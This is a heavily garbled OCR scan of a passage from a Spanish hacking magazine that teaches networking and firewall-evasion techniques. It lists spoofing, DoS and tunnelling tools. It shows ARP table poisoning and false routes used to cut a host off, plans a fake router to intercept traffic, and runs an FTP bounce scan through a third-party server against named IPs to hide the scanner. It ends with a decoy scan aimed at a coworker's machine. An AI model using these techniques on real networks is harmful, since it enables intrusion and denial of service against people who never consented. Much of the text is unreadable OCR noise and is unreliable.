causer problemas con determinados s2rvicios
o 31 o ndmere de usuarlos ¢35 muy clevado,
podrian agotarse las direcciores publices,
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Imagina una red construlda con DNAT y 250
Ip's publicas, las direcciones vistas desde "e!
exterior” parecen ser aleatoras y cambian
constantements,

Equilibrio de carga

El otro conrcepts asoclado o NAT y PAT e< el
equilibric de carga en el servidor. Fara
simplificar. el router 0 &l Firewall puade
redireccicnar ¥y balancear la carga de forma
que alterna sclicitudes para una pareja de
puerto/direccion destino entre los servidores
Internos disponibies,

El el2mplo mas sendiflo en descibir seria una
red con 6 Servidares Weh redundantes vy el
balanceo de carga habilitado en el cidigo que
cjecsta NAT y PAT, Cuando las conexiones
externas visitan el webserver (pars elios es
una unica Ip gishal), NAT redirige le peticidn
a uno cdelos 5 servidares intenes, blen por
estado, oor saturacion, por numero de
conexianes, etc... Ce tal forma que
“aparentemente” estames accadiendo a una
io piblica perc las paqinas o &l servicio nos
lo puede estar ofreciendo magunas dferentes.

Bien, por hoy hemos terminadd con la teoria
e implementacitn de Flrewalls, nos quedan
muchas cosas, funciones svanzadas de
cortatueqos, reglas de inspeccion, aubenticacion
y cifrado, etc... Eso vendra «n el praximao
ndGmero junto con la instalacidn, configuracion
y administraciin de un Firewall de red basada
en host,

Parz lo que viene a continuaclén deberfamos
comcer medianamente hien la pila de
protocolos TCP/IP, las cabeceras de los
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paquetes IP, TOP, LGP, ICMP, ARF, elL. S5in
embargo he preferido "empezar ia casa por
ef tajada” y comenzar con las pruebas da
wmportamiente sin conccer ese y Sin ni
siquiera haber instalado vy configurada un
Firewall cualguiera, vamos,,. pure scriol-
kiddle & lamer corporation.

Sin embarge hay una busna explicacion,
bueng, hay das,,, major thes... y hasta cuotre,
los motivos son:

P La ravista lleva iniciado un curso de tcp/
que avudara a comprender algunos de ©s
CONCeIes ue s¢ exporen

P En os Foros disporemos de yn Taller ge
TCB/P que salaciana y responde a tedes asas
remisas

¥ Se indicaran las explicadones “rmimimas”
pare entender el funcicnamente de cada una
ce las hermramlentas que vienen a continuacidn
P No tenemos Firewall, pero tenemos 3 snant
o no tenemos nada, mejor, asi nos dzremos
coenta de lo "imperfanta® que sera disponer
¢e uno btuenos vy bien ceafigurado.

o qae viens am pmdo ser dmcado mw-e
c.\eﬂcado st sg mmza rue ¢ .v__d'e uua el dg

' ;de esras u#ﬁdades denm de'- uné red o0 B

GUe o ercs el mmmdor no tienas--
2 automadén a elo.... qi(to wepuedés banb'

t:ten.

Pagina 32

ACCESOS NO AUTORIZADOS

Bajo este nambra he querida unlr varios
"rancepras”, herramientas, programas y
ulilidedes gue persiguen objstivos tan dispares
coma comprobar la resistencia de! sistema
aperatvo ante ataques de ceregacicn de
samvicio, censultas whois o sposfing de IF,
son tanfas cosas y fan vanadas qu2 da sustite.

Segure gue hay muchas imés haramientas y
ubilidades, s2aUrt QUE CONOCES Muchas otras,
&s(as 0 SeN 185 majores ni las recomendadas,
simplemanta complon sy objative y oso os o
qQue cuenta,

He dStibude esta Seccldn n estos anarados !

¥ Herramientas de la Pila TCP/IP: ifcarfig,
ping, traceroute, host, dia, nslookup, whois,
arp, natsat y otros propios del sistema.

P Identificacion, rastreo y exploracion:

netcat, nmap, nessus, superscan, retina

» Fingerprinting: rmap, queso, cheops,
xprobe, winfingzrptinting

b Spoofing v hijacking: hunt, etiarcap v

otros
b Firewalking: hping, icmpenum vy firewalk

P Taneles y redirectores: loki, lokid, neteat,
datapipe, fpipe, rineid v bnc

P Stress-test y DoS: zados, augnister, macof,
tcpkill, Isic, nemesis, iptest

» ICS y analizadores de red: tcpdump,
tepshovs, Ethereal, Commyview, poriseniry,
sensentry, netsalnt, psad

DIOS!HH Todo eso? A 1a vez?

Si, werds que no en naca complicades,
realmente me Iimitaré a uno ¢ ¢os elemplos
de uso por cada herramignta v el resto ce
posibilidaces te s deiv a L2 adermas, algunas
de éstas herramientas ya fuelan tratadas en
nEmarcs anteriores, como nakcat, nmaip,
Lamvievs, nemcesls, ¢c..

Esp, si... las comentare y gjemplificarg en
ucos REALES, algunas son delicagas... sed
huenns ¥ respansables, veramas que can
alguras seremus capaces de dejar fritos  a
108 propios servidores de sruebas de HxC, o
que faltaba.... encima da las tiempos gue
estan off, llegamos ahora v a tumbarlos....
SCD RESFPONSAGLES,
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NG existen Rerranventas "mégicas®, aqui no
hey nada sequrs o nada que funcione ef
100% de Jas ocasiones y en tdas sus
vanantes, las redes son dindrnicas, fas
corfiguracionss de dos servidoras dentim de
una misma empresa raamente sen iguales
y tamigoce san las mejoras, ni las tnilcas
utiidadas que nos permiticén traspasar 1a
sequndad e un ssiena, pero cormnbmnadas
nes pueden ofrecer una dea bastante
agroximada de le vulnerabie que puade ser
nuestro PC y nos abricdn & camino para
antandey MUCNas olras gue rabajan de formea

LStz

H meadio usado: | n< 2t Sthames

UP RUNMING, que ros dice = is Lanjes esth fabiitacs (LP) v cpomiva (RUNING)
EROADCIAST, & [anem eard merurads pars riterejer Jdpsonones o2 Jrusion
PMULTICAST, katarpes s corfigurad pam manass hecchnes oo maksd wen,
L U pueden aporecs: obos wiltres comy: FROMISCU0S MODE, gque fced
oan ese carf QIrao &) Mods paTsmus v que azshereite aeva L nrfer
coriase on B raquna,

La direccion MAC ¢ dreccdn Fsim, qur 2 muestra 2= el canzoe HiVeddr
1a direcckdan IF, iret sdcr

La direccion de difusidn 3ot 170.28.255.255

La mdscara de subred, Mash: 255.255.0.0

Herramientas de la Pila TCP/IP y
Sistema Operativo.

Ban estz aparado vameoes a r2sumir 2lgunas
de las uiilidades gue los sisternas operativos
suglen traer “de sere”, sblo eyplicaré alqunas
cpiones, yuizés les que mas nos interesen
para ol asunto que noas acupa... loc Flrewalls

IFCONFI1G / IPCONFIG

Sa utilize para configurar 0 infurmar del estado
de una o varias Interfaces de red.

l " Ve Toukal @ A

oontE lmas-ctet at s el

)

1s

Link ercay Phervet  iWadds 0005, 10 00:ARTT

iret 308172, 28,0, 20 JTast iYL AU 55, 3 Wagk:i55.255.0.0
LE RS T ROAMIN. MLTIOST srUaSen  Saricid

BX porket s ES1 erourncnt deggped (0 ooremwrnc s e

X pickets 7 eonaas ;0 drogpes:0 ovecnmsd carcler:p
velliedmns 10 teaaiunden: L0

DX SPTek: ) (1 M) L0 b iN3d 1931 K0
Intempt- 11 ey adioess nvio0

Ling ercasilazal loxgbosk

(ot s 120 0.0, Mk 718 D0C

U2 LOPACK SOKTNG WV 130 Metric:l

B gickats 72 crrurs 0 deopprf 0 anieomn s 10 frame:d

1A SlatRird EPa0ni0 dEcppad iU S eauan 10 Casvier.0 4|

onk lisiane 0 Capearl:d =

R Brras 46E (4.5 I 7Y Hyten: At (4.5 €0 }
|

l]_:m:oium-rll rast)s d'

De momento nes Interasars recordar esta
ordan para averiguar:
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Con estos datos podrermos averiquar sl
perkenecemos a una rad ¢ subrad detarminacs
v para cuando llegue la ovesion... falsear la
MAC, la IP 0 lnundar la red/subred adecuada.

La existencis de sulvedes puede significar a
axistencla de Firewalls y/'c routers para
camunicarlzs, también la posibitidad de aue
axistan VLAN's en un swilch.

El equivalente...

E! squivalente Windows es ipconffy /all Ya sabes,
ahraz una ventanta negra |Inicio --> Todog loe
Programas —> Acnesornics --> Simbala del sist2ma).
ascribas la orden ipconfig /all y pulsas enter.

PING

El comandeo ping envia sclicitudes de ¢co
mediante pagquetss UM a8l hosST que se
especifique.

El uso en UNUX y Windows es parecido ¥
funcamentaiments lo wtilizaremoes para probar
la conectividad y encastrar maciings vivas...

Apiwe Edar e Lewwud ' By
(uct-ﬂ:.vu. oA cest]r phag -9 5 P2 050

PO 173K.0.5 (272 200,500 tree 172 80,20 AUM) by of el
£4 byter foom 102 960000 Dospsegel U138 tire-0.2E s

€4 byt foom L02.28.0,000 Lomg seged 510028 tinen 2N ek

14 bytey frve 1120000000 icsa segd 01-123 mime<d, 1N w

£4 prar from 13 TR0 W0 dcez seaed BT Lineed) 2% =

£ brpter fove URLZEO 10 Toap sted 114023 Hine) 22 us

- ATL.38.0, 53 plrg ateiintice -«

S poaE tmnritied, | oowteled, UN Xes, UM SOINE
it v evnsesiadey » L2000 IERN. 00T s
L;;mti::su-ni root # ||

iy
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Que no responda un fest a la solicitud ping,
puede signficar que, o blen no esta cperativo,
o que el ffrewall que protege la red/subred
rechaza las peticionas eca,

Tamblén @5 interesante para lo que nas
ocupara en praximos articulos & dltima Iinsa;

Rtt min/avg/max/dev ...... esto es el Round
Time Trop, el lempo de ida y vuelia de los
pagquetes, que nos puede dar ona idea de lo
que se Ltada en alcenzar 2l fost, 0 2n Cas0os
criticos, la sospecha de que ruestras
comunicacicnes astan siendo redirigidas si
ese tiempe valia en excase y "de repente”

ARP

Arp ¢35 une haramsenta dispanible tanto en
Windows caomo LINUX, sl blen |z sintaxis entre
ambos puede diferir un poquito, 2l objetive
es el mismo, mosirara fa tabla ARP del
ordenado- local que relacona las direcciones
MAC con ‘as IPs de @ red en la gue estamos.

Pueden existir MRC's estakicas v MAC's
dinamicas, sino s€ Indica lo contraric se
utilizard una tabla dinamica, esto @5, nuastre
PC Ird aprendendo las MACS e IPs de los
hasi Ccon les que se reladona y comnunica &
Ird construyendo esa tabla.

Las entradas estaticas las debe realizar el
administradoer ¢y permaneceran dursnte todo
l& sesion actual, mientres que las entradas
dinémicas se zctualzan periddicamsante tras
un tempe de caducidad, pasado ese tiarpo.
las direcciones MAC con las aue no hemos
vecho a establecer comunicacian, se climinan
pare liberar recursos.

Parz ver como fundona esto pongamos un
ejemplo sencilo:

VEmos guE na hay entradas @n la tablz ARF,
ehora hacemos un oing al router ¥ & otro
equipo, en mi caso ping 172.28.0.1 y ping
172.28.0.200, después volvemos g realizar |z
pescion ARP

Ahora vemas que nuestro PC ya conoce |as
MAC’s de 1os 2quipos con los que s2 acaha de
comunicar, 2s impartante que recuerdes una
cosa: SIN DIRECCIONAMIENTO MAC NO
HAY DIRECCIONAMIENTO IP.

Dicho de otra forma, si un eguipo de una red
iocal, no sabe o no pucda racelver @ direccton
MAC de otro, NO SE COMUNICAREN, aunque
eslén directamente coneclados entre si

Imaginemos que conseguirmos alterar 14 Lails
ARP de un Agst, v aslaramos una MAC a unsa
dirzccion IP que no es la que realmenta Lione
el equipo desting, el resultado s que va no
secomunicaran, por ejenple, sagin los datos
anteriorps, vemss qhe &l rolter hene!

Direccion IP 172.28.0.1 MAC 00-c0-48-d4-5i-cd

COMPOAT Syren idend.en
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PuU2S vamos & crear une entrada astatica gue
asgne ung MAC 00~cO-49~d¥~-51-99 ¢ la IF
172.28.0.1, hemos cambiado las ukimos
valores de la MAL (cd gor Q4]

Abora, cuando nuestro ordenador guiers
comunicarss can el rourer, intentarsa
encontrarlo con la MAC falsa v como ¢5a NO
ES la del raurer, lo dejamos sin conexion a
mismo vy par tanto sin salida hacia obras redes,
en este caso a Internet
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e

£ e OO Esvtrs 1w

SSarpe

Para aliminar |la nuta astatica de la tania ARP
se us3a la opcicn ~d sequida de 'z 1P a elimirar
<Ak
1

LU Snen I fam

Si no especificames una IP tras la opcion -d
se ciminaran TODAS |las rutas astaticas y
dmamicas de |z Tabla ARP.

Para entarnas UNLUX, la sintaxis es igua’, si
bien para no resoiver @ rombre de oS Host
si na tenemos DNS o configuracidon en
Jatc/hosts usaremos arp —an

ROUTE

Se utiliza para informar y/o configurar el
estado de la tobla de enrutamicnte de un
fost

Vo Tewbu Dy .
[ragsel fan-rad soacly rmic 2 ~y
Suanl LF sl ies table 1

drhar 2t

Ny

e inst um Gatewy Gy sd shazs Wy i et <o YP3c0
1.9 0.8 g un Sy A . " O (O R 10 !
a.0 a.2.0.0 %5.0.0 ' . ¢ 0 L =

1250 (IR TN " 0 a 0O 23D 11

A ade sies) (k]

Ay e L e b v vyt o - — J i

En la column: destination (desiina) ca
reflejan las direcciones de red destino, la
=ntrada C.0.0.0 se utilize parz la puerta de
enlace predeterninada, 0.0.0.0 significa todas
las redes, es ceclr, mediante la puerta de
enlaze predetermirada se podrd alcanzar
tades las destines.

En gateway encontraremos la 1P dal fost

que actiz come puerta de enlace, s desir,
la del router ¢ el fireweal que nos permite
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conectar nuestra red cor otrag, |a aparicion
de 0.0.0.0 en asta columna significa que se
pugde llegar & desinc a traves Jde¢ una red
local.

Genmask, es le mascara de subred
Flags, &5
siguentes

un campo guée puede tener los
valores:

B WU La Interface esta activa

P G: Se puede llegar al destina mediante |a
puerta de enlace

P H: E! destinn e5 un host

P N: El doctine aluce a
Puedan existir mas, pero con 25tos hos vale

vna red

Iface: Nombre de la interfece de red,

E! resto de= columnas no (G tendremos en
cuenta por ahora.

En Windows podemos obtener un resulrado

stmilar caon »l camanda route print

LA tsaen b iat o

En este elemrplo se lista un equipo cuatro
taretas de red, bueno... regimente es una de
loopback, un3 fisica y dos virtvales. ..

VmWare

yr?
sanes. ..

Recuerda el vajior x4 que corresaonde con
|3 tarjets de red Regifex pare lo gue viEne 3
corktinuaclionr.,

Pagina 35




Firewalls - Firewalls - Firewalls - Firewalls - Firewalls - Firewalls - Firewalls

Podemas manipular @ tabia ce rutas ¢ ennitar
hacia un sest especiioo boda una rec, ¢ coma
ca mostrara o continua aan, Invalidar ol aceoso

a toda ura red, por egjerrplo:

Suporgamoes que el equipo 172.28.0.50 es
un wWindows JP Y queremos cenegarle 2/
acceso @ teda una red, '@ 62.0.0.0 que se
cerresponde con la red de los faros de
hackxcrack

Primere averigiiemos 13 [P del sarvidor del
faro,

LN RS Syvors Z2iond oo

Al

2 play ¢

0

i Lot L

LIRSS et Mo an

Pt v

AU NN

s hackocr

Ahora zabemo:s que ¢l fore se ercusntra en
la red 62.0.0.0 0 “parecda” [puede haber
subredes, no lo sebemos puestio que ne
conecemos la mascera de subred de esa IP)
al menos sshemos cue '‘a IPF es I3

62.193.200.34

Ahora, manipuamos 12 teola de rutas del PC
172,208,050, para elie tedeamaos esta orden;

Ecto afiadira una ruta hacia lared 62.0.0.0

¥ mascara 255.0.0.0 gue se incentara llegar

a ella a trraves de la maguina 172.28.0.91

con un salto {métrica 1) par la interféce

namere 4.

Es decir, 125 pebeiones » TODA 13 rad 42.0.0.0

imas de 16 millones de 1P's) se pasardn por

la maquina 172.20.0.91, coma ¢52 maquno

ne existe 2n la red & fa que pertenece al KP,

podra ecceder a elia,

na se vEAMUOS:

S L L R LT B

Coma ves no hay reéspuesta, acabamos de
provacar una "miry denegscion de servicios”
al equipo v no tendré aceese 2 la red 62.0.0.0
haska que se reiniciea o hasta que e elimine
a ruta "faisa’, pama clie bastard ¢jecutar 12
orcen reute defete 62.0.0.0

CPor qoud Ja intefoce o5 4 ¢ ne olra?

POl {ué preyvlameante deberiamos naber
~ealizada un route print, vimas que la
ntertace ethernet ara 12 Ox4 (te dije que lo
recordaras) y par #so s° puso if 4,
Dasde {mux, 2ste mismo eiemplo 38 realiya
ge Jn moedo diererte, hay muchas farmmas de
realizarlc v también daperde de& sigunas
distribucones, yo utilize Redhat y algunra de
las formes que sc pucde realizar son astna:

craar a archnivoe
Seic/sysconfig/static-routes, 2ot 3 partr
de ‘a versidn B no funciona correctamente,
de hecho yva no se usa, shara hay un archivo
sererady para cace interfaz destinado a 1a
definicldn de mitas astaticac, Los nombres de
archivp son:

editar <

Jel/sysconfig/ netwodescripts/route-intvfacenanme

Sinembargo es mas facl hacerno de siquante

moda:
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Para afiadir una ruta a la tabia de rutas

DAY RSN RSYAN T,
A hda e

nl. O/
M toed Ny ool Asatiino.

Observa gue se utitiza el formato CIDR {/B)
on hgar de Ia méccara 2550.0.0, 25 lo mismo.

Cumo pudrés entender, s "nas mantamoes”™
un enrutador falsa en la direccien 1P del
ejemplo (172.28,.0.91) ¥ cambiamos la tabla
de evrutamiento de un fost (o el de todas)
de ura red, consequiremos que TCDAS 1as
comunicaciones pasen por nuestro "fa'se
annador”

Te preguniaras s es muy complicado mortase
wsa routor. .. bueno, pues 5Ly no... pero sin
luger a dudas te ensedare conmo hacerlo 2 1o

large ¥ ancho de estas articuios ¥

Hay muchas onclones para los comandas
route e ip route, te toccard a ti iros
descubrience... ¢std es unpa muestrz, ahora
sigamos con los mandatos basicos.

TRACEROUTE

Determing la conectivicad de un host remoto
(como pirg) pero ademas muestra taca host
intermedio que atraviesa, envia paqusres VDF
necesarics para determirar el RTT, cuenta el
tiempo y muestra agquellos que no responcen.
El equivalents en Windows es tracert,

Hagamasun trzzado a una 1P de los servidores
de practicas de HxC, el 62.57.101,243

e Al e

JAK w e W

R N N Lt L I R U RO P - LR
TAAA R AT U ARwy B s s
SIS e ST e AW -
DA s Valw ixiam e

B L S

Al e A TIA e WL AL -
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La aparicién da astarisces en lac lineas 7-9-
10-11 y 12 es sintoma de que existen Firewvalis
y/o rowiers can ACL's gque rechazan los
paguetes enviados por traceroute.

Mas adelante veremos alguna utilicad con 12
que intentaremos averiguar que méquinas se
gsconden tras esos MISSrosos asieriscos...,
na siempre son efecivas, a veces por la propia
inransistencia del pratocoid UDFP v otras pogue
las administraderas ce @505 firewals hicieron
bien sus debares.

HOST, DIG, NSLOOKUP y WHOIS

Ambos efectien busquedas DNE directas /0
imversas AR AVerguar mas Infarmacian acerca
de una IP ¢ nembra de demino.

Un CNS es una miquina que se encargg ce
rconverlir” fos nembres de dominie que
utitzames por Internet @1 su correspondents
direccion 1P, En 12 red, 10s Host se comanican
per IR, pero para 'os humanos es mas sencillo
recardar direcclenes del tipo terra, es,
hackxcrack.com, google. es, etc que sus
correspondientes equivalencias [P's,

Utiiza 2l puerte 53 de UDP y &5 frecuente que
rocters, Grewells, erc deen pasar irfermacién
por ese puerto para qué se puedan ressiver
les nomores ¥ direcciones [P, tombidn c5
frecuents recioir mensaes UDP por el puerto
53 que vienen ¢e i6S 1S5 para que s€ pucda
mantener actualizedos sus DNE,

Desde ¢l purto de vista de la seguridad, es
Importare proteger los Servidoras DNS, poesta
qua en manos “salvaies” purden afrecer
infermacién delicada, cesde la amuitestura
de la red, hasta los clientes de un provesder
de servicios de Internet, Ademas, si
“falseanos” un DNS conseguiremss que 105
equipos de una rec dirijan sus conssltas hacia
ese servdor Mmaliciose en lugar del desiinado
liciramente, a esto se |2 llama ONS spoof, aue
combinadas con tecnices de Web spoof, etc,
pueden acabar por comprometer 13s
trensacciones electronicas de la red atacada
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O provecando un DoS de los servicios on el
censiguiente perjuicio econémice y "morai™.

Una bisqueda dirscta a un DNS consiste en
"pasar” un nombre de dominio y cbteper la
IP a la que pertenece, mientras que una
bisqueda inversa es lo contrario, se dala 1P
¥ nos entregarad el nombre asaciada.

Este es un ajemplo de una bisqueda inversa
y directa respectivamente:

mm&muwﬁ e
qulm:-rlt reot}é wst 211,600,110
H0.1304. 20 dr-addr e demidr aame poiyter wwv.tava.es,
oot 1im-T36 120118 st e bacticack. cn
(v, backicrack oon has addoess £2,193.%0.34
2030l kux-shé paet :'

RAlARAA LETIT LRV R SO

Mychos DNS son pdblicos, podemos usar
cualquiera de €lios en nuestras conexiones vy
no Iimitarmos a ios gue nes Inferme puestro
preveedar, preclsamente ese ceracter de
“servicie publco” hace posible que se puadan
usar diferentes DNS de distintas empresas v
provesdores de Internet, por elempls podemaos
usar &l comando host para indicarle que un
dutarminadao servidor DNS es ¢ que queremos
Que nos resueiva fa peticién, asl:

t -om‘im-m -mtlt oSt 1o 1orea 18 195 2)5 1y
:’&ug dewain veene:
e 135,255.10.2

Mrees: 195.215113. 380

13566!

Jarriies has addvese 213.4.130,210
[rmmme-rta mt]s

Cfg es una herramienta parecida a Aost,
ofrece mas informacién, aunque también
podemas usar la sintaxis NoOSE =w
www.terra.es para obtener algo parecido a
lo gue nos informa dig.
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120010010 HhE 2001 |2 diy s huckronect .con

00O MG 320 o> v hckeerach . iow

:i 2lobnl optima:  prietersd

Sy GO ke

1M~ cpeede: (UERY, status: WIERRN, id: 13510

i Blege: qr od oo QUIBYD 1. AMSNER: 1, AUTHSSITE: 1 ASOIINMAL: 2

o1 (RESTEON SBOTTON:
SN S ack tom. b1 ] A

L. IR ST

e hackascask cam, TEMF M A 022002030

5 MITMRITY SETTTON:

AT EXCTECK oo, 639 N » tul.asemr i, som,
hazkeerock oo TE3y N v ol psawmar ld. cew.
1 ADODTIONAL SO0TEO:

25l smearld. o, u» Iy 105154 205,08

SE1 amasnr 1 fwm BRI Y . PROIER J06 Aex

Gi Geery Lire: G0 meees
L SEEIRG 383 R0 30504 100, 238,105.3)
{: KRN Wed Myr 12 13:051 55 200

(PNSE R povd; 120

root@linex b2 coot I§

También se puede indicar el servidgor DNS que
deseamos sea el encargads de resover la
basqueda, #si:

# dig @195.235. 1133 www. terra.es

EI DNS 195.235.113.3 sord quian sa encargue
de resclver la corsulta al webserver de tera,

‘En ndmercs anhemres, e5t revista ¥a traus
et asunte aelos ONS, ser8 n-ejcu- quetzecnes

:&8 fUﬂQOﬂﬂmmnb;
_om daros que atbeman._

un wstazo al namera 14 para entender: mejor
s registros, punterns ¥

Nzlookup a5 olre comands que realiza las
mismas tareas que dig y presente Lanlo en
implerrentaciones Wincows coma LINLY, cnsa
aue no acurria con 10s dos anteriares que na
estdn disponibles para Windows.

Con nslockep podemas lister difeentes tipos

de servidores y direcciones de un dominio,
veamoslo desde Windows en ests goaslon;
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En la pantalla anterior se salicliaron los
servidares de corren (registro MX del CNS)
comespondientes a yanhoo,

Otra forma cde consultar i0s registres DNS es
utihzar whols

Esp: €5 Uk comanae integrada €n |a pracuica
totalidad de distribuciones LiNUX, no asi en
Wirdows, sin embargo podemos censultar fa
base de registros whols desde muchas web's
o cen herramientas especificas come
SamSpade, Neteran, ete.. . una forma simple
es desde el

entace:

siguiente

http:/wwee allwhos . comy/

La informacidn procedente de 1os reglstros
whois puede ser no relevantz, de hecho es
comun que se "falseen” o al menos No sean
datns verdaderos, no hey més que ver en la
consulta antericr que el teléfonc es
122456789, la dirsccién Wadalbertla, s/n,
Organizecion Hull, segurements TODOS falsos

by

lfamblén podemos ussr herramientas de
terceros para mejorar la salida de todos estos
comandos, para Windows son muy populares
Visuailroute y MeoTrace, asi como, tarrbién
existen multtud de enlaces web que nos
asisten en la ubicacion geografica de
direcciones IP, SeGuUra que Conaces mas de

PC PASD A PASD N® 22

ura ¥y & no es asi, prusba algunocs de estoc
enlaces

http: ffweny.p2location comfree.asp

hitp:/fwive.geaup.comydTplecatcehimiGatlocation

NETSTAT

Dicponible tanto para Windows

LiNUX esta comando listara tadas las

coma para

conexivnes de red v proporciona dates accrca
de los puertas TCP/UDP asi como de 10s
2xtremos en las conexinnes establecidas por
las conexiones de rad.

Son varias las cpciones intéresantes, come
muestra este es una de ellas que visualizard
las conexion=s TCP junto con los puertos vy
procescs usa0os:

N HAAN by § 2l

Ecta comando muastra todas los usuaros oue
hayan iniciado una seson er este momento,

disponible sdlo para LMLUX

—egrmstesagee

W W Tooeys -
o w1
NA CAT. e e £,

T ' » [T O T ~y "y |
Tead ) [EEEEN % i
» ot ho et TN P -
Sl s e e s AR

Sia eMIargo podemos encortrar una varsicn
similar ea Windows cgn la utilidad
psioggedaon, &

podemos bhajar e

http s/l avew sysintamals . com/files/Pel agged

Cn.zip
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Mo dejdis ge bajaros TODAS las utilidades de
sysinternals, no Henen desperdicn, procesos,
maniterizacion de disco, - ficheros, gjecuson
por netblos, efc, Tode ese conjunto de

FRrrImientas Sor VIGRas Concoiae On nuesins

faores... y Si no.... buscad psexec =

LAST y NTLAST

Cor astac camancos pademas ver las Gltimes
inicios de sesion, w y psloggedon informaban
e sesicnes actuaies, ostas Inferman de las
dltimas, 2n el siguiente sjemplo, las 5 Gltimas

p \
Loy

:v Eimmulm SN )
lx-lh- Il o - M
Siireyeit o -
fmwr ' el 1 ] wx
L i - - - "w L ) )
S » v, % 2 T LN
L s me " I B s
- Y My T e ' |
{
ine biglre B Bim 35- W 82 200 1
trewreldue o6 v b 3
L = . 4|
Ntiast o puedes encontrar en:

Me dejc muchas ¥y muy Interesantes, ps,
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CIHRORSY G ile

http: //veww. foundsione. com/resources/free

toolsgntlast:!o.zig

Dispane de multiples cpclones, desde los
ultimos fallidos, con éxito, interactivos,
remrotos, desde una fecha determinada, hasta
una fecha....

pafist, kill, pskill v un sin fin de dlas, pero
para 1o que nas ccupa hov, ros sobran ¢an
las que levamos.

Identificacion,
exploracion:

rastrec vy

Este o= otro apartado para haces un libro
enerite.., escaneres, detectores d2 puertos,
bamidos piny, el muchos,. demasiades.. ..

Yoy a subrayar algunos
Fara {inux vy Windows: nmap, netcat

Para Linux: nessus (2ungue existe
tambien <u rénhica #n Windaws)
Exclusivos Windows: SuperSenn y Roting.

NMAP

Ya se traté en el nomero 13 de 13 revista,
aqul me limitarg & expaner algunas sirkaxis
para esta herramienta que pueden resultarmos
utiacs
Lo cnconsrar
htip: //www.insecure. arg/nmap/nmap_down
load. htrl

podecmaos en:

Nmap hace muchas cosas, desde [y deteccion
de sistemas operativos hasta fa exploracion
de puertos y serviclos, pasando por escaneas
"aipicos” o envio de paquetes fragmentados,
solapados, etc.,

No voy a repetir articelos... vamos con un
caso practice v lo explcacion del misme.,.

Se trata Jde escanegr un equipo (gue en el
ejemplec es el mio) utilizando como “bouncer”
un servidor FTP, es o que se llama ung
exploracion de "rebote” o mas técnicamente
FTP bounce scan.

Para que sea breve el escaneo he ablerto un
puerto, el 8538, en mi rouvter v 1o quae @ voy
a explicar a nmap &s que utilizando un servidor
FT® remoto, haga un escanerde mi IP pablics
para ercontrar si ese puerts esta ablerto o
ne.
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Sslo recesitamos dos cosas:

Uuna victima: rv0, <on la
1P:213.0.204.142 [AVISO: esunaip
dinamica. . asi que ro fo inlentéls con

oste, utibzad vwestra propia IP o
no os funcionard)

Un servidor FTP anénimo... joer..,

BEO QL MAS chunga, no?

Buene, el caso es que el FTP de rebote serd
la IP 62.57.2G.1CB

La orcen nmap serna ssta:

~b ¢35 |3 opcion QUE NOS pernytira usar un
fipde rebote

anonymous@62.57.26.108 es |z forma
de autenticarnos ante el fip anénimo

-P0 le pide a amap qus no haga ping a
la direccion

-p6539 es € puario a escanear, podra
haber sido un rango de puerkos

213.0.204.142, &5 mi 1P DINAMICA... ro
usels esa, ha de ser la wvuesira.

Veamas que ocurre:

Primero puse ua esnifer &n ! 2quipe que
lue =scanesdo...
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LM e Ve Sresdein Rembud b Ak
L

T
N -
g™

Como ves, se racibe un pacuete dingide puero
5539 procedente de la IP 62.57.26 108 (el
FTP) con puerte origen 20 [conexién de datos
del FTF)

¥ luego sake otro pacuete con desting a fa 1P
dal FTP

Nmap ofrecio este resultadn:

(e ma e Tomwd | 08 S
Tt e L L o e el SR
Paseniin M4SN 13 W UoETEERE, erdt VLR TRA SHEMLT PR o

e
VAN

Srartiag £rep V. 0,00 e deshaiso oxp gy |
P".nuﬂn parts or IU0 O 204 A Halr vaerin S Labae 4 NATA £0r (01 N LT T
13 L2 L

Ll Aad

borviia
Ay

GO

P R LEF wbhens (0 Rein ) soasesd 1o AN manst

Lovatllinincd) winije

Esta mismeo lo podemos nacer "a mane’, y
comeo crep que es interasanta que lo cepas,
aunque salga un tanto fuera del ambito de
esie articulo, te contard vome sa hace
manuatmente, a ellu;

P e i 1 e e S I e
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Aclarando...

Quote &s un comando £p que tndwarﬁ
que fo que |2 sigue, lo debe eje:utar-
el servidor ¥y no nuestro clfeme,;.

:5,139 es 6 nuefto 25 xzss + 139
- 8539

Despues del comors&o L)ST podemos
- recibir: :

150 y 226 (Transfer complete)
significara que el puelto estd
abilrto :

150 ¥ 425 (can't open data

cerrado,

| conection) significara cue. e:té'

Vemos dos ejemplos unc de exitose (puerto
6533 abi=rio) v clio cerade |puerto 6540)

LAY LS U LA b e

D e T LI 1T T gt

Covweclod Lo GE, 5020 258 (80,57, 20, 108 )

BN Wnearrse T Muresall TIF Serlon (Serviun 5,00,
BrE LR2OITN0 M (et annrmes

SEY ASKITA SO B Iovad, Semad Arnetaty Le-madl race ) or poomoct,
MV

B N Pt [T TL

Piedra HMbam Tygm S8 Woalesn T

s AT NET DI 034 162,25,

D0 PII veemird meressfa

fpr eyt BIRY

BE Spevieg JACTT smwe dale overnciice far Dnle,

B Tranvher wompdee
‘- v

tavnp LS o

([-aneunr rob ‘.-li" hp“ TS ml

wweotodl te €3 K7 20100 (3.5 0 tak),

10 honumnn bk Kummals 559 Saciine Wenlee 330
Hp- R L e N

L Manyrene weomes alTomd, wead Wdmitiny deormal vaeel on pesseard
Penirmsd;

LERY Arcesvenn anar Tomced (.

! amu NVIEE Teae La Nirdew st

l""’ PLTE FRED ZR,0,000 140 23w

lw VR e est seooseatel .

(T pEEE 1A
m wuu‘ AL el T camerriton foor bdeg e .
e ot o cpea datt coereccien

Observa que s el comande PORT funciona,
na =6le nas escondemos, sino que padremos
realizar exploraciones de puertes sobre
cualquier maguina a la que el sernidor FTP
tenga acceso y nos pedremos mover Ya
escondidas” por los filtros del router, ACLs y
reglas que los firewalls nos impedirian pasar,
a todas luces, &l escéner o efectud el servidor

FTp W
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si alguien acu=a a ka2 maquina
fxcservhack2 de escanear su red, .., en los
i0gs del servicor FTP estara nuestra P, puesto
guz nos escondimos ant2 |a maguina
213.0.204.142, no ante e! servidar FTP.

Pero, cudado...

Otra opcon 01l de nmap, en lo que s refiers
al escaneo de puertos, es =D, a la cual le
han de sequir direccionss IP's o nombires de
hosF valdos, aunque el spaating da 1P tene
muchas limitacicnss hoy en dia en Internet,
dentro de une red kcal es factitle enla mayoria
de los casos, por elemplo:

Supcngamos GUE GUEremos escanear &l
ordenador del “jefe”, este es el escenana:
Ordenador deal jefe: 172..28.0.99
Nuestro PC: 172.28.0.200

Orros equipos en la red 172.28.0.xxx

Podriamos hacer esto.

-mnp -Po -pza-soo -0 1?2.28.05.1..

172.28.0.12, 172.28.0.200,
,3, 172.28.0.14,173.28.0.67

